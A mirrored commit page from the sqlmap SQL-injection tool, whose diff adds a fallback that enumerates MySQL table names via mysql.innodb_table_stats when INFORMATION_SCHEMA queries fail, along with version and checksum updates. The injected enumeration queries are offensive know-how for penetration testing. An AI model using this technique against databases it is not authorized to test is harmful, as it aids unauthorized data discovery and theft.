mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-06-15 18:43:16 +03:00
Support for table name retrieval from mysql.innodb_table_stats (fallback if primary fails)
This commit is contained in:
parent
4c25a20efc
commit
ec253dd5bd
|
@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
|
||||||
from lib.core.enums import OS
|
from lib.core.enums import OS
|
||||||
|
|
||||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||||
VERSION = "1.2.9.11"
|
VERSION = "1.2.9.12"
|
||||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||||
|
|
|
@ -261,24 +261,28 @@ class Databases:
|
||||||
rootQuery = queries[Backend.getIdentifiedDbms()].tables
|
rootQuery = queries[Backend.getIdentifiedDbms()].tables
|
||||||
|
|
||||||
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
|
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
|
||||||
query = rootQuery.inband.query
|
values = []
|
||||||
condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None
|
|
||||||
|
|
||||||
if condition:
|
for query, condition in ((rootQuery.inband.query, getattr(rootQuery.inband, "condition", None)), (getattr(rootQuery.inband, "query2", None), getattr(rootQuery.inband, "condition2", None))):
|
||||||
if not Backend.isDbms(DBMS.SQLITE):
|
if not isNoneValue(values) or not query:
|
||||||
query += " WHERE %s" % condition
|
break
|
||||||
|
|
||||||
if conf.excludeSysDbs:
|
if condition:
|
||||||
infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
|
if not Backend.isDbms(DBMS.SQLITE):
|
||||||
logger.info(infoMsg)
|
query += " WHERE %s" % condition
|
||||||
query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList)
|
|
||||||
else:
|
|
||||||
query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs))
|
|
||||||
|
|
||||||
if len(dbs) < 2 and ("%s," % condition) in query:
|
if conf.excludeSysDbs:
|
||||||
query = query.replace("%s," % condition, "", 1)
|
infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
|
||||||
|
logger.info(infoMsg)
|
||||||
|
query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList)
|
||||||
|
else:
|
||||||
|
query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs))
|
||||||
|
|
||||||
values = inject.getValue(query, blind=False, time=False)
|
if len(dbs) < 2 and ("%s," % condition) in query:
|
||||||
|
query = query.replace("%s," % condition, "", 1)
|
||||||
|
|
||||||
|
if query:
|
||||||
|
values = inject.getValue(query, blind=False, time=False)
|
||||||
|
|
||||||
if not isNoneValue(values):
|
if not isNoneValue(values):
|
||||||
values = filter(None, arrayizeValue(values))
|
values = filter(None, arrayizeValue(values))
|
||||||
|
|
|
@ -50,7 +50,7 @@ c8c386d644d57c659d74542f5f57f632 lib/core/patch.py
|
||||||
0c3eef46bdbf87e29a3f95f90240d192 lib/core/replication.py
|
0c3eef46bdbf87e29a3f95f90240d192 lib/core/replication.py
|
||||||
a7db43859b61569b601b97f187dd31c5 lib/core/revision.py
|
a7db43859b61569b601b97f187dd31c5 lib/core/revision.py
|
||||||
fcb74fcc9577523524659ec49e2e964b lib/core/session.py
|
fcb74fcc9577523524659ec49e2e964b lib/core/session.py
|
||||||
e595397f965c89ed29d9b4b89aada743 lib/core/settings.py
|
39a71984ff7fd683d06c489f33d477a7 lib/core/settings.py
|
||||||
dd68a9d02fccb4fa1428b20e15b0db5d lib/core/shell.py
|
dd68a9d02fccb4fa1428b20e15b0db5d lib/core/shell.py
|
||||||
a7edc9250d13af36ac0108f259859c19 lib/core/subprocessng.py
|
a7edc9250d13af36ac0108f259859c19 lib/core/subprocessng.py
|
||||||
815d1cf27f0f8738d81531e73149867d lib/core/target.py
|
815d1cf27f0f8738d81531e73149867d lib/core/target.py
|
||||||
|
@ -207,7 +207,7 @@ a3db8618eed5bb2807b6f77605cba9cc plugins/dbms/sybase/__init__.py
|
||||||
79f6c7017db4ded8f74a0117188836ff plugins/dbms/sybase/takeover.py
|
79f6c7017db4ded8f74a0117188836ff plugins/dbms/sybase/takeover.py
|
||||||
34d181a7086d6dfc7e72ae5f8a4cfe0f plugins/generic/connector.py
|
34d181a7086d6dfc7e72ae5f8a4cfe0f plugins/generic/connector.py
|
||||||
ce6a6ff713852b5eca7b78316cc941c4 plugins/generic/custom.py
|
ce6a6ff713852b5eca7b78316cc941c4 plugins/generic/custom.py
|
||||||
78813e60e7108f78ef1af46d360f41bf plugins/generic/databases.py
|
2e0c1c5ced14222d9fef2dd12447d815 plugins/generic/databases.py
|
||||||
4e2b366bb9cfdaaed719b219913357c6 plugins/generic/entries.py
|
4e2b366bb9cfdaaed719b219913357c6 plugins/generic/entries.py
|
||||||
d82f2c78c1d4d7c6487e94fd3a68a908 plugins/generic/enumeration.py
|
d82f2c78c1d4d7c6487e94fd3a68a908 plugins/generic/enumeration.py
|
||||||
0a67b8b46f69df7cfacc286b47a0d9a5 plugins/generic/filesystem.py
|
0a67b8b46f69df7cfacc286b47a0d9a5 plugins/generic/filesystem.py
|
||||||
|
@ -478,4 +478,4 @@ fe2a865a8579f2045d2be057a00f5b49 xml/payloads/boolean_blind.xml
|
||||||
3194e2688a7576e1f877d5b137f7c260 xml/payloads/stacked_queries.xml
|
3194e2688a7576e1f877d5b137f7c260 xml/payloads/stacked_queries.xml
|
||||||
92c41925eba27afeed76bceba6b18be2 xml/payloads/time_blind.xml
|
92c41925eba27afeed76bceba6b18be2 xml/payloads/time_blind.xml
|
||||||
ac649aff0e7db413e4937e446e398736 xml/payloads/union_query.xml
|
ac649aff0e7db413e4937e446e398736 xml/payloads/union_query.xml
|
||||||
a5eecbca03800851635817e0ca832a92 xml/queries.xml
|
b148ef9ef70aaada9eb6e58ab1e384e1 xml/queries.xml
|
||||||
|
|
|
@ -46,8 +46,8 @@
|
||||||
<blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1" query2="SELECT DISTINCT(db) FROM mysql.db LIMIT %d,1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>
|
<blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1" query2="SELECT DISTINCT(db) FROM mysql.db LIMIT %d,1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>
|
||||||
</dbs>
|
</dbs>
|
||||||
<tables>
|
<tables>
|
||||||
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
|
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES" query2="SELECT database_name,table_name FROM mysql.innodb_table_stats" condition="table_schema" condition2="database_name"/>
|
||||||
<blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' LIMIT %d,1" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'"/>
|
<blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' LIMIT %d,1" query2="SELECT table_name FROM mysql.innodb_table_stats WHERE database_name='%s' LIMIT %d,1" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count2="SELECT COUNT(table_name) FROM mysql.innodb_table_stats WHERE database_name='%s'"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT column_name,column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
<inband query="SELECT column_name,column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||||
|
|
Loading…
Reference in New Issue
Block a user